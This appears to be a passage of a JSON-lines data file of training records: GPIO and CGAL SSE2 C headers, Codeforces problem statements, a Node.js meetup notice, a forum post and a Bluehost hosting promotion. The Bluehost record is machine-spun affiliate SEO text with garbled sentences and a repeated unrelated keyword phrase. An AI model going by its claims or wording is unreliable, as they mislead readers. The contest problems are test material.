*/\nvoid hw_gpio_configure(const gpio_config cfg[]);\n\n/**\n * \\brief Reserve GPIO pin\n *\n * Reserve pin for exclusive usage.\n * This macro can be used in application peripheral_setup function to detect\n * usage of same GPIO pin by different applications.\n *\n * \\param [in] port GPIO port number\n * \\param [in] pin GPIO pin number\n *\n * \\return true if pin was successfully reserved and setup, false if pin was already reserved\n *\n */\nbool hw_gpio_reserve_pin(HW_GPIO_PORT port, HW_GPIO_PIN pin);\n\n/**\n * \\brief Reserve GPIO pin and set pin function\n *\n * Reserve pin and set up it function. If pin was already reserved do nothing.\n *\n * \\param [in] port GPIO port number\n * \\param [in] pin GPIO pin number\n * \\param [in] mode GPIO access mode\n * \\param [in] function GPIO function\n * \\param [in] high in case of PID_GPIO and OUTPUT value to set on pin\n *\n * \\return true if pin was successfully reserved and setup, false if pin was already reserved\n *\n */\nbool hw_gpio_reserve_and_configure_pin(HW_GPIO_PORT port, HW_GPIO_PIN pin, HW_GPIO_MODE mode,\n                                                                HW_GPIO_FUNC function, bool high);\n\n/**\n * \\brief Unreserve GPIO pin\n *\n * Free reserved pin. If pin was not reserved do nothing.\n * Configuration of pin does not change just reservation.\n *\n * \\note If pin was reserved using RESERVE_GPIO it will also be unreserved.\n * If RESERVE_GPIO was not enabled by compile time flags call to this function\n * may cause unexpected result.\n *\n * \\param [in] port GPIO port number\n * \\param [in] pin GPIO pin number\n *\n * \\sa hw_gpio_reserve_and_configure_pin\n * \\sa hw_gpio_reserve_pin\n * \\sa RESERVE_GPIO\n *\n */\nvoid hw_gpio_unreserve_pin(HW_GPIO_PORT port, HW_GPIO_PIN pin);\n\n#if (DEBUG_GPIO_ALLOC_MONITOR_ENABLED == 1)\n/**\n * \\brief Reserve GPIO pin\n *\n * Reserve pin for exclusive usage. If pin is already allocated trigger breakpoint.\n * This macro should be used in application peripheral_setup function to detect\n * usage of same GPIO pin by different applications.\n *\n * If runtime GPIO reservation is needed, use hw_gpio_reserve_pin,\n * hw_gpio_reserve_and_configure_pin and hw_gpio_unreserve_pin instead.\n *\n * \\param [in] name parameter ignored, used for debug only\n * \\param [in] port GPIO port number\n * \\param [in] pin GPIO pin number\n * \\param [in] func parameter ignored (for compatibility)\n *\n * \\sa hw_gpio_reserve_pin\n * \\sa hw_gpio_reserve_and_configure_pin\n * \\sa hw_gpio_unreserve_pin instead\n *\n */\n#define RESERVE_GPIO(name, port, pin, func)                                                     \\\n        do {                                                                                    \\\n                if (!hw_gpio_reserve_pin((port), (pin))) {                                      \\\n                        /* If debugger stops at this line, there is configuration problem */    \\\n                        /* pin is used without being reserved first */                          \\\n                        __BKPT(0); /* this pin has not been previously reserved! */             \\\n                }                                                                               \\\n        } while (0)\n\n#else\n\n#define RESERVE_GPIO( name, port, pin, func )   \\\n        do {                                    \\\n                                                \\\n        } while (0)\n\n#endif // (DEBUG_GPIO_ALLOC_MONITOR_ENABLED == 1)\n\n/**\n * \\brief Set the pin type and mode\n *\n * \\param [in] port GPIO port\n * \\param [in] pin GPIO pin\n * \\param [in] mode GPIO pin mode\n * \\param [in] function GPIO pin usage\n *\n */\nvoid hw_gpio_set_pin_function(HW_GPIO_PORT port, HW_GPIO_PIN pin, HW_GPIO_MODE mode,\n                                                                        HW_GPIO_FUNC function);\n\n/**\n * \\brief Get the pin type and mode\n *\n * \\param [in] port GPIO port\n * \\param [in] pin GPIO pin\n * \\param [out] mode GPIO pin mode\n * \\param [out] function GPIO pin usage\n *\n */\nvoid hw_gpio_get_pin_function(HW_GPIO_PORT port, HW_GPIO_PIN pin, HW_GPIO_MODE* mode,\n                                                                        HW_GPIO_FUNC* function);\n\n/**\n * \\brief Combined function to set the state and the type and mode of the GPIO pin\n *\n * \\param [in] port GPIO port\n * \\param [in] pin GPIO pin\n * \\param [in] mode GPIO pin mode\n * \\param [in] function GPIO pin usage\n * \\param [in] high set to TRUE to set the pin into high else low\n *\n */\nvoid hw_gpio_configure_pin(HW_GPIO_PORT port, HW_GPIO_PIN pin, HW_GPIO_MODE mode,\n                                                        HW_GPIO_FUNC function, const bool high);\n\n/**\n * \\brief Configure power source for pin output\n *\n * \\param [in] port GPIO port\n * \\param [in] pin GPIO pin\n * \\param [in] power GPIO power source\n *\n */\nvoid hw_gpio_configure_pin_power(HW_GPIO_PORT port, HW_GPIO_PIN pin, HW_GPIO_POWER power);\n\n/**\n * \\brief Set a GPIO in high state\n *\n * The GPIO should have been previously configured as an output!\n *\n * \\param [in] port GPIO port\n * \\param [in] pin GPIO pin\n *\n */\nvoid hw_gpio_set_active(HW_GPIO_PORT port, HW_GPIO_PIN pin);\n\n/**\n * \\brief Set a GPIO in low state\n *\n * The GPIO should have been previously configured as an output!\n *\n * \\param [in] port GPIO port\n * \\param [in] pin GPIO pin\n *\n */\nvoid hw_gpio_set_inactive(HW_GPIO_PORT port, HW_GPIO_PIN pin);\n\n/**\n * \\brief Get the GPIO status\n *\n * The GPIO should have been previously configured as input!\n *\n * \\param [in] port GPIO port\n * \\param [in] pin GPIO pin\n *\n * \\return true if the pin is high, false if low\n *\n */\nbool hw_gpio_get_pin_status(HW_GPIO_PORT port, HW_GPIO_PIN pin);\n\n/**\n * \\brief Toggle GPIO pin state\n *\n * \\param [in] port GPIO port\n * \\param [in] pin GPIO pin\n *\n */\nvoid hw_gpio_toggle(HW_GPIO_PORT port, HW_GPIO_PIN pin);\n\n/**\n * \\brief Find pins with specific function\n *\n * Function searches for pins configured for specific function.\n * If buf is not NULL and buf_size is greater than 0 pins are stored in buf\n * high-nibble is port number and low-nibble is pin.\n * If number of pins found is greater then buf_size only buf_size entries are filled, though\n * the returned number of found pins is correct.\n *\n * \\param [in] func function to lookup\n * \\param [out] buf buffer for port-pin pairs that are configured for specific function\n * \\param [in] buf_size size of buf\n *\n * \\return number of pins with specific function put in buf\n *         0 - no pin is configured for this function\n *\n */\nint hw_gpio_get_pins_with_function(HW_GPIO_FUNC func, uint8_t *buf, int buf_size);\n\n\n#endif /* dg_configUSE_HW_GPIO */\n\n#endif /* HW_GPIO_H_ */\n\n/**\n * \\}\n * \\}\n * \\}\n */", "source": "cpt_stack_code", "language": "code", "token_count": 5108, "token_count_with_eod": 5109, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Chaneka has an array $$$[a_1,a_2,\\ldots,a_n]$$$. Initially, all elements are white. Chaneka will choose one or more different indices and colour the elements at those chosen indices black. Then, she will choose all white elements whose indices are multiples of the index of at least one black element and colour those elements green. After that, her score is the maximum value of $$$a_i$$$ out of all black and green elements.\n\nThere are $$$2^n-1$$$ ways for Chaneka to choose the black indices. Find the sum of scores for all possible ways Chaneka can choose the black indices. Since the answer can be very big, print the answer modulo $$$998\\,244\\,353$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 160, "token_count_with_eod": 161, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "The landscape can be expressed as a row of consecutive cells, each of which either contains a flower of colour amber or buff or canary yellow, or is empty.\n\nWhen a flower withers, it disappears from the cell that it originally belonged to, and it spreads petals of its colour in its two neighbouring cells (or outside the field if the cell is on the side of the landscape). In case petals fall outside the given cells, they simply become invisible.\n\nYou are to help Kanno determine whether it's possible that after some (possibly none or all) flowers shed their petals, at least one of the cells contains all three colours, considering both petals and flowers. Note that flowers can wither in arbitrary order.", "source": "cpt_codeforces", "language": "en", "token_count": 146, "token_count_with_eod": 147, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Alice has $$$n$$$ books. The $$$1$$$-st book contains $$$a_1$$$ pages, the $$$2$$$-nd book contains $$$a_2$$$ pages, $$$\\ldots$$$, the $$$n$$$-th book contains $$$a_n$$$ pages. Alice does the following:\n\n- She divides all the books into two non-empty piles. Thus, each book ends up in exactly one of the two piles.\n- Alice reads one book with the highest number in each pile.\n\nAlice loves reading very much. Help her find the maximum total number of pages she can read by dividing the books into two piles.", "source": "cpt_codeforces", "language": "en", "token_count": 130, "token_count_with_eod": 131, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "// Copyright (c) 2014\n// INRIA Saclay-Ile de France (France)\n//\n// This file is part of CGAL (www.cgal.org)\n//\n// $URL$\n// $Id$\n// SPDX-License-Identifier: LGPL-3.0-or-later OR LicenseRef-Commercial\n//\n// Author(s)     : Marc Glisse\n\n#ifndef CGAL_VECTOR_SSE2_H\n#define CGAL_VECTOR_SSE2_H\n\n// Check what needs adapting for clang, intel and microsoft\n#if !defined __SSE2__ || (__GNUC__ * 100 + __GNUC_MINOR__ < 408)\n#error Requires SSE2 and gcc 4.8+\n#endif\n#include <x86intrin.h> // FIXME: other platforms call it differently\n\n#include <CGAL/NewKernel_d/functor_tags.h>\n#include <CGAL/Dimension.h>\n#include <CGAL/enum.h> // CGAL::Sign\n#include <CGAL/number_utils.h> // CGAL::sign\n\n\n\nnamespace CGAL {\n\n  struct Sse_vector_2 {\n    typedef double NT;\n    typedef Dimension_tag<2> Dimension;\n    typedef Dimension_tag<2> Max_dimension;\n    // No Rebind_dimension, this is a building block\n    template<class,bool=true> struct Property : boost::false_type {};\n    template<bool b> struct Property<Has_vector_plus_minus_tag,b>\n      : boost::true_type {};\n    /* MAYBE?\n       template<bool b> struct Property<Has_vector_scalar_ops_tag,b>\n       : boost::true_type {};\n       */\n    template<bool b> struct Property<Has_determinant_of_vectors_tag,b>\n      : boost::true_type {};\n    template<bool b> struct Property<Has_dot_product_tag,b>\n      : boost::true_type {};\n\n    typedef __m128d Vector;\n    struct Construct_vector {\n      struct Dimension {\n        // Initialize with NaN?\n        Vector operator()(unsigned d) const {\n          CGAL_assertion(d==2);\n          return Vector();\n        }\n      };\n\n      struct Iterator {\n        template<typename Iter>\n          Vector operator()(unsigned d,Iter const& f,Iter const& e) const {\n            CGAL_assertion(d==2);\n            double x0 = *f;\n            double x1 = *++f;\n            CGAL_assertion(++f==e);\n            Vector a = { x0, x1 };\n            return a;\n          }\n      };\n\n      struct Iterator_and_last {\n        template<typename Iter,typename T>\n          Vector operator()(unsigned d,Iter const& f,Iter const& e,double t) const {\n            CGAL_assertion(d==2);\n            Vector a = { *f, t };\n            CGAL_assertion(++f==e);\n            return a;\n          }\n      };\n\n      struct Values {\n          Vector operator()(double a,double b) const {\n            Vector r = { a, b };\n            return r;\n          }\n      };\n\n      struct Values_divide {\n        Vector operator()(double h,double a,double b) const {\n          // {a,b}/{h,h} is probably slower\n          Vector r = { a/h, b/h };\n          return r;\n        }\n      };\n    };\n\n    typedef double const* Vector_const_iterator;\n    static inline Vector_const_iterator vector_begin(Vector const&a){\n      return (Vector_const_iterator)(&a);\n    }\n    static inline Vector_const_iterator vector_end(Vector const&a){\n      return (Vector_const_iterator)(&a)+2;\n    }\n    static inline unsigned size_of_vector(Vector){\n      return 2;\n    }\n    public:\n\n    static double determinant_of_vectors(Vector a, Vector b) {\n      __m128d c = _mm_shuffle_pd (b, b, 1); // b1, b0\n      __m128d d = a * c; // a0*b1, a1*b0\n#ifdef __SSE3__\n      __m128d e = _mm_hsub_pd (d, d);\n      return e[0];\n#else\n      return d[0]-d[1];\n#endif\n    }\n    static CGAL::Sign sign_of_determinant_of_vectors(Vector a, Vector b) {\n      return CGAL::sign(determinant_of_vectors(a,b));\n    }\n\n    static double dot_product(Vector a,Vector b){\n#ifdef __SSE4_1__\n      return _mm_dp_pd (a, b, 1+16+32)[0];\n#else\n      __m128d p = a * b;\n#if defined __SSE3__\n      __m128d s = _mm_hadd_pd (p, p);\n      return s[0];\n#else\n      return p[0]+p[1];\n#endif\n#endif\n    };\n  };\n\n}\n#endif", "source": "cpt_stack_code", "language": "code", "token_count": 1103, "token_count_with_eod": 1104, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Welcome to April's meetup! We're delighted to welcome 3 speakers this month. Mike Solomon, Donovan Hutchinson and Yuta Hiroto.\n**Pizza will be arriving at 7 pm before the talks, get in early! :)**\nMike Solomon is the founder and CEO of Meeshkan (meeshkan.com), a Helsinki-based DevOps company. A music major at Stanford University, Queen's University Belfast and the University of Florida, Mike has been a guest researcher at the University of Paris VI and has held the post of artistic director of the Ensemble 101 (ensemble101.fr) from 2011 until the present day. While working at the IRCAM as a computer music designer, he fell in love with Machine Learning and founded Meeshkan to ease several DevOps pain points in the ML pipeline. Since then, Meeshkan has expanded to other areas of DevOps, including API testing with unmock (unmock.io).\nTalk Title: Testing apps with third-party API integrations\nIn this talk we will examine strategies and best practices to develop and test node apps that make heavy use of third-party API integrations. As reliance on third-party services becomes more and more prevalent in the node ecosystem, developers need cost-effective, secure, reliable and fast ways to mock these services for both dev/staging environments and testing.\nWe will start with looking at nock, an open-source mocking solution for local development, and move onto unmock which provides mocks-as-a-service of popular APIs.\nThe session will have live coding for both nock and unmock using express to create a simple microservice and jest for testing. It will also present several popular design patterns for isolating and testing third-party integrations as well as strategies for integration testing apps that rely on third-party APIs, including corner-case and error testing.\nDonovan Hutchinson has been creating web pages and apps for clients for over 20 years. He writes and builds CSS animation tutorials on CSSAnimation.rocks, and has been published in Net Magazine, Smashing Magazine, Adobe Inspire, Modern Web and more.\nAs well as writing for online publications, Donovan writes and publishes books on front-end development and design, with a focus on animation and user experience.\nTalk Title: UI animation in React\nSmall UI animations can make a big difference in the quality and ease of use of our apps. In this talk I’ll discuss ways we can approach building small, effective animations using CSS, incorporating them into a theme, and using a helpful package to make useful, consistent animation easy to build.\nTalk Title: Introduce the new ESM implementation of Node.js\nAddress: Intercom, 2nd Floor Stephen Court, 18-21 St Stephen's Green, Dublin, D02 N960\n18:30 – Doors Open / Networking / Grab a Drink\n19:00 – Grab some pizza, have a chat before our talks begin.\nIntro to Speaker & Sponsors with Sean Walsh, nearForm\n19:15 - GUEST SPEAKER Mike Solomon\n19:45 - Q&A available to the speaker\n19:55 - GUEST SPEAKER Donovan Hutchinson\n20:30 - Q&A available\n20:35 - Yuta Hiroto\n20:55 - Q&A\nHope to see you all there and as always, we'll have free pizza & beer! :)\nBe sure to follow us on Twitter (https://twitter.com/nodejsdublin) & Facebook (https://www.facebook.com/nearFormLtd/)for updates and subscribe to our YouTube channel (https://www.youtube.com/playlist?list=PL0CdgOSSGlBaZFb4TWvv30aUKhufvJ708) to watch all our guest speakers!\nAny member who would like to submit a talk for an upcoming meetup, please chat to any of the organisers on the night or email [masked] or [masked].", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I am pleased to be part of Cloud Slam ’09, the cloud computing virtual conference!\nMy presentation on Monday evening focuses on the emergence of cloud storage in the enterprise space: Why it’s important, what it is, and how to act on it. I start by talking about the drivers, including the unexpectedly high cost of storage and the failures of tiered storage so far. I then suggest a new paradigm for the enterprise, leveraging solid state disks and the cloud. I reality check this against McKinsey’s recent cloud model and demonstrate some TCO goodness. Finally, I talk about the reasons folks might be concerned about bringing cloud storage into their environments.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 133, "token_count_with_eod": 134, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Many modern text editors automatically check the spelling of the user's text. Some editors even suggest how to correct typos.\n\nIn this problem your task to implement a small functionality to correct two types of typos in a word. We will assume that three identical letters together is a typo (for example, word \"helllo\" contains a typo). Besides, a couple of identical letters immediately followed by another couple of identical letters is a typo too (for example, words \"helloo\" and \"wwaatt\" contain typos).\n\nWrite a code that deletes the minimum number of letters from a word, correcting described typos in the word. You are allowed to delete letters from both ends and from the middle of the word.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Hi I am a network marketier and also a huge fan of science fiction and fantasy and was thinking of combining these two into a couple projects , publishing some short sci fi stories in an ebook and marketing it and also starting a site how to market your sci fi writing online .\nId be Intrested as to poeples opinions on this\nApril 27th, 2003, 03:34 AM\nhow to market your sci fi writing online\nIt may be best to show you have provable of experience in marketing this specific concept first, before looking to teach others how to.\nNot intended to be insulting - just an obvious point.\nIf you're interested in constructing a F/SF hub on the internet, then you're welcome to consider contributing to my own project (http://www.chroniclesofempire.net/yabbse/index.php?board=8;action=display;threadid=213;star t=0). ;)", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 203, "token_count_with_eod": 204, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Innokentiy likes tea very much and today he wants to drink exactly n cups of tea. He would be happy to drink more but he had exactly n tea bags, a of them are green and b are black.\n\nInnokentiy doesn't like to drink the same tea (green or black) more than k times in a row. Your task is to determine the order of brewing tea bags so that Innokentiy will be able to drink n cups of tea, without drinking the same tea more than k times in a row, or to inform that it is impossible. Each tea bag has to be used exactly once.", "source": "cpt_codeforces", "language": "en", "token_count": 129, "token_count_with_eod": 130, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Bluehost Pull Automatically Every Time Something Is Pushed To Repo\nLocating a top notch economical host carrier isn’t very easy. Every internet site will certainly have various requirements from a host. Plus, you need to contrast all the attributes of an organizing business, all while looking for the very best offer possible.\nThis can be a great deal to kind through, specifically if this is your first time buying hosting, or constructing a site.\nMost hosts will certainly supply extremely low-cost initial rates, just to elevate those prices 2 or 3 times greater once your initial get in touch with is up. Some hosts will supply free rewards when you subscribe, such as a cost-free domain, or a complimentary SSL certificate.\nWhile some hosts will be able to use much better efficiency and high levels of safety and security. Bluehost Pull Automatically Every Time Something Is Pushed To Repo\nListed below we dive deep right into the best low-cost host plans out there. You’ll discover what core hosting functions are essential in a host and how to evaluate your own hosting requirements to ensure that you can select from among the best low-cost hosting suppliers below.\nDisclosure: When you buy a webhosting package via web links on this web page, we make some payment. This assists us to keep this website running. There are no extra prices to you whatsoever by utilizing our web links. The listed here is of the very best economical web hosting bundles that I’ve directly utilized and examined.\nWhat We Think about To Be Cheap Host\nWhen we define a host package as being “Inexpensive” or “Budget” what we suggest is hosting that falls into the price brace in between $0.80 to $4 monthly. Whilst investigating economical holding service providers for this guide, we checked out over 100 different hosts that came under that cost range. We then analyzed the quality of their most inexpensive hosting plan, worth for money and also customer care.\nIn this article, I’ll be reviewing this first-rate web site hosting firm as well as stick in as much appropriate information as feasible.\nI’ll discuss the attributes, the prices choices, as well as anything else I can think about that I think may be of advantage, if you’re deciding to register to Bluhost and obtain your sites up and running.\nSo without further trouble, let’s check it out.\nBluehost is among the largest webhosting firms in the world, getting both large marketing assistance from the firm itself as well as associate marketers who promote it.\nIt really is a huge business, that has been around for a very long time, has a huge credibility, and also is certainly one of the top options when it comes to host (definitely within the leading 3, at least in my publication).\nBut what is it specifically, as well as should you get its services?\nToday, I will address all there is you require to know, provided that you are a blogger or an entrepreneur that is seeking a webhosting, and does not understand where to begin, because it’s a great remedy for that target market in general.\nAllow’s imagine, you want to host your websites and also make them noticeable. Okay?\nYou already have your domain name (which is your site location or URL) today you want to “turn the lights on”. Bluehost Pull Automatically Every Time Something Is Pushed To Repo\nYou need some organizing…\nTo achieve every one of this, as well as to make your internet site visible, you require what is called a “server”. A web server is a black box, or tool, that saves all your website data (documents such as pictures, texts, video clips, links, plugins, and various other details).\nCurrently, this server, needs to get on all the time and also it has to be attached to the net 100% of the time (I’ll be discussing something called “downtime” later).\nAdditionally, it additionally needs (without getting also fancy as well as right into information) a file transfer protocol typically called FTP, so it can reveal web internet browsers your web site in its desired kind.\nAll these points are either expensive, or need a high degree of technological skill (or both), to produce and also keep. And also you can totally head out there and learn these things on your own and set them up … yet what concerning instead of you buying as well as keeping one … why not just “renting out organizing” rather?\nThis is where Bluehost is available in. You lease their web servers (called Shared Hosting) as well as you release a site making use of those web servers.\nBecause Bluehost maintains all your files, the business additionally allows you to set up your material monitoring systems (CMS, for short) such as WordPress for you. WordPress is a super preferred CMS … so it just makes sense to have that option offered (practically every organizing firm now has this option also).\nSimply put, you no more require to set-up a server and afterwards incorporate a software where you can develop your material, independently. It is already rolled right into one bundle.\nWell … think of if your server is in your house. If anything were to take place to it at all, all your files are gone. If something goes wrong with its inner procedures, you need a technician to fix it. If something overheats, or breaks down or gets corrupted … that’s no good!\nBluehost takes all these headaches away, and also takes care of whatever technological: Pay your web server “lease”, and they will deal with every little thing. And also once you acquire the service, you can after that start concentrating on including content to your site, or you can put your effort right into your marketing projects.\nWhat Services Do You Get From Bluehost?\nBluehost supplies a myriad of various services, however the main one is hosting obviously.\nThe organizing itself, is of different kinds incidentally. You can rent out a shared server, have a devoted server, or additionally a virtualpersonal web server.\nFor the purpose of this Bluehost evaluation, we will focus on hosting solutions and various other solutions, that a blog owner or an on the internet business owner would certainly need, instead of go too deep into the bunny opening and talk about the other solutions, that are targeted at more skilled individuals.\n- WordPress, WordPress PRO, and e-Commerce— these hosting services are the bundles that enable you to organize an internet site using WordPress and also WooCommerce (the latter of which allows you to do e-commerce). After buying any one of these plans, you can begin building your web site with WordPress as your CMS.\n- Domain name Industry— you can likewise get your domain name from Bluehost rather than other domain name registrars. Doing so will certainly make it easier to point your domain name to your host’s name web servers, because you’re using the exact same market.\n- Email— as soon as you have acquired your domain name, it makes sense to also get an e-mail address linked to it. As a blogger or on the internet entrepreneur, you should virtually never ever utilize a totally free e-mail solution, like Yahoo! or Gmail. An email like this makes you look less than professional. Luckily, Bluehost offers you one free of charge with your domain name.\nBluehost also offers committed servers.\nAs well as you may be asking …” What is a specialized server anyhow?”.\nWell, the thing is, the basic web hosting bundles of Bluehost can just a lot website traffic for your web site, after which you’ll need to update your holding. The reason being is that the usual web servers, are shared.\nWhat this suggests is that web server can be servicing 2 or even more websites, at the same time, among which can be your own.\nWhat does this mean for you?\nIt implies that the solitary web server’s resources are shared, and also it is doing multiple tasks at any kind of provided time. When your internet site begins to hit 100,000 site sees each month, you are going to need a committed server which you can also receive from Bluehost for a minimum of $79.99 each month.\nThis is not something yous must bother with when you’re starting out but you should keep it in mind for certain.\nBluehost Pricing: Just How Much Does It Cost?\nIn this Bluehost testimonial, I’ll be concentrating my attention generally on the Bluehost WordPress Hosting plans, given that it’s the most popular one, and highly likely the one that you’re searching for which will certainly fit you the most effective (unless you’re a big brand, firm or site).\nThe 3 readily available strategies, are as follows:\n- Basic Plan– $2.95 each month/ $7.99 normal cost\n- Plus Plan– $5.45 per month/ $10.99 normal rate\n- Selection Plus Plan– $5.45 per month/ $14.99 regular rate\nThe very first price you see is the rate you pay upon sign up, as well as the 2nd cost is what the cost is, after the very first year of being with the company.\nSo generally, Bluehost is going to charge you on an annual basis. And also you can likewise select the quantity of years you intend to hold your website on them with. Bluehost Pull Automatically Every Time Something Is Pushed To Repo\nIf you choose the Fundamental strategy, you will certainly pay $2.95 x 12 = $35.40 starting today as well as by the time you enter your 13th month, you will now pay $7.99 per month, which is additionally billed each year. If that makes any kind of feeling.\nIf you are serious about your website, you should 100% get the three-year alternative. This implies that for the fundamental strategy, you will certainly pay $2.95 x 36 months = $106.2.\nBy the time you strike your 4th year, that is the only time you will certainly pay $7.99 monthly. If you think of it, this method will certainly conserve you $120 in the course of three years. It’s very little, but it’s still something.\nIf you intend to get greater than one website (which I very recommend, as well as if you’re significant, you’ll most likely be getting even more at some time in time) you’ll wish to use the choice plus strategy. It’ll allow you to host endless internet sites.\nWhat Does Each Plan Offer?\nSo, in the case of WordPress hosting strategies (which are similar to the common holding strategies, however are extra geared in the direction of WordPress, which is what we’ll be concentrating on) the functions are as follows:\nFor the Basic strategy, you obtain:\n- One site only\n- Protected site using SSL certification\n- Optimum of 50GB of storage\n- Totally free domain for a year\n- $ 200 advertising and marketing debt\nRemember that the domains are purchased independently from the organizing. You can get a free domain name with Bluehost below.\nFor both the Bluehost Plus hosting and also Choice Plus, you get the following:\n- Limitless variety of websites\n- Free SSL Certificate. Bluehost Pull Automatically Every Time Something Is Pushed To Repo\n- No storage space or data transfer limitation\n- Complimentary domain name for one year\n- $ 200 advertising credit scores\n- 1 Office 365 Mail box that is complimentary for 1 month\nThe Choice Plus strategy has actually an added advantage of Code Guard Basic Alternative, a back-up system where your data is conserved as well as duplicated. If any accident occurs and your web site information goes away, you can restore it to its initial kind with this function.\nNotification that despite the fact that both plans set you back the same, the Option Strategy after that defaults to $14.99 each month, regular rate, after the collection amount of years you’ve picked.\nWhat Are The Conveniences Of Using Bluehost\nSo, why choose Bluehost over other web hosting solutions? There are numerous host, a number of which are resellers, but Bluehost is one select couple of that have stood the test of time, and it’s most likely one of the most well known available (as well as completely reasons).\nHere are the 3 primary benefits of picking Bluehost as your web hosting company:\n- Web server uptime— your site will not be visible if your host is down; Bluehost has more than 99% uptime. This is very crucial when it comes to Google Search Engine Optimization and also positions. The higher the better.\n- Bluehost speed— how your web server feedback identifies just how quick your website shows on a browser; Bluehost is lighting quick, which indicates you will minimize your bounce rate. Albeit not the most effective when it concerns packing speed it’s still extremely vital to have a rapid rate, to make individual experience far better and also better your position.\n- Limitless storage— if you obtain the Plus strategy, you need not bother with how many files you store such as video clips– your storage capacity is unrestricted. This is truly essential, due to the fact that you’ll probably face some storage space problems later on down the tracks, and also you do not desire this to be a headache … ever before.\nLastly, customer support is 24/7, which means despite where you are in the globe, you can contact the assistance group to fix your internet site concerns. Pretty standard nowadays, but we’re taking this for provided … it’s additionally extremely vital. Bluehost Pull Automatically Every Time Something Is Pushed To Repo\nAdditionally, if you’ve obtained a totally free domain name with them, after that there will be a $15.99 cost that will be subtracted from the amount you initially acquired (I envision this is due to the fact that it type of takes the “domain out of the market”, not sure about this, however there possibly is a hard-cost for registering it).\nLastly, any demands after one month for a refund … are void (although in all honesty … they ought to most likely be rigorous below).\nSo as you see, this isn’t necessarily a “no doubt asked” policy, like with some of the various other hosting alternatives around, so make certain you’re alright with the policies before proceeding with the organizing.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 3007, "token_count_with_eod": 3008, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "City X consists of n vertical and n horizontal infinite roads, forming n × n intersections. Roads (both vertical and horizontal) are numbered from 1 to n, and the intersections are indicated by the numbers of the roads that form them.\n\nSand roads have long been recognized out of date, so the decision was made to asphalt them. To do this, a team of workers was hired and a schedule of work was made, according to which the intersections should be asphalted.\n\nRoad repairs are planned for n2 days. On the i-th day of the team arrives at the i-th intersection in the list and if none of the two roads that form the intersection were already asphalted they asphalt both roads. Otherwise, the team leaves the intersection, without doing anything with the roads.\n\nAccording to the schedule of road works tell in which days at least one road will be asphalted.", "source": "cpt_codeforces", "language": "en", "token_count": 179, "token_count_with_eod": 180, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "It is a very important day for Katya. She has a test in a programming class. As always, she was given an interesting problem that she solved very fast. Can you solve that problem?\n\nYou are given $$$n$$$ ordered segments sets. Each segment can be represented as a pair of two integers $$$[l, r]$$$ where $$$l\\leq r$$$. Each set can contain an arbitrary number of segments (even $$$0$$$). It is possible that some segments are equal.\n\nYou are also given $$$m$$$ queries, each of them can be represented as four numbers: $$$a, b, x, y$$$. For each segment, find out whether it is true that each set $$$p$$$ ($$$a\\leq p\\leq b$$$) contains at least one segment $$$[l, r]$$$ that lies entirely on the segment $$$[x, y]$$$, that is $$$x\\leq l\\leq r\\leq y$$$.\n\nFind out the answer to each query.\n\nNote that you need to solve this problem online. That is, you will get a new query only after you print the answer for the previous query.", "source": "cpt_codeforces", "language": "en", "token_count": 245, "token_count_with_eod": 246, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "You are given two permutations$$$^{\\text{∗}}$$$ $$$a$$$ and $$$b$$$, both of length $$$n$$$.\n\nYou can perform the following three-step operation on permutation $$$a$$$:\n\n1. Choose an index $$$i$$$ ($$$1 \\le i \\le n$$$).\n2. Cyclic shift $$$a_1, a_2, \\ldots, a_{i-1}$$$ by $$$1$$$ to the right. If you had chosen $$$i = 1$$$, then this range doesn't exist, and you cyclic shift nothing.\n3. Cyclic shift $$$a_{i + 1}, a_{i + 2}, \\ldots, a_n$$$ by $$$1$$$ to the right. If you had chosen $$$i = n$$$, then this range doesn't exist, and you cyclic shift nothing.\n\nAfter the operation, $$$a_1,a_2,\\ldots, a_{i-2},a_{i-1},a_i,a_{i + 1}, a_{i + 2},\\ldots,a_{n-1}, a_n$$$ is transformed into $$$a_{i-1},a_1,\\ldots,a_{i-3},a_{i-2},a_i,a_n, a_{i + 1},\\ldots,a_{n-2}, a_{n-1}$$$.\n\nHere are some examples of operations done on the identity permutation $$$[1,2,3,4,5,6,7]$$$ of length $$$7$$$:\n\n- If we choose $$$i = 3$$$, it will become $$$[2, 1, 3, 7, 4, 5, 6]$$$.\n- If we choose $$$i = 1$$$, it will become $$$[1, 7, 2, 3, 4, 5, 6]$$$.\n- If we choose $$$i = 7$$$, it will become $$$[6, 1, 2, 3, 4, 5, 7]$$$.\n\nFind a construction using at most $$$2n$$$ operations to make $$$a$$$ equal to $$$b$$$ or print $$$-1$$$ if it is impossible. The number of operations does not need to be minimized. It can be shown that if it is possible to make $$$a$$$ equal to $$$b$$$, it is possible to do this within $$$2n$$$ operations.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "//\n//  LSMainViewController.h\n//  TestLeftSliderDemoForOC\n//\n//  Created by 邓伟浩 on 2020/6/1.\n//  Copyright © 2020 邓伟浩. All rights reserved.\n//\n\n#import <UIKit/UIKit.h>\n#import \"WHLeftSlideManager.h\"\n\nNS_ASSUME_NONNULL_BEGIN\n\n@interface LSBaseVC : UIViewController\n@end\n\n@interface LSMainViewController : LSBaseVC\n\n\n@end\n\n@interface LSAnotherViewController : LSBaseVC\n\n\n@end\n\n\n\nNS_ASSUME_NONNULL_END", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
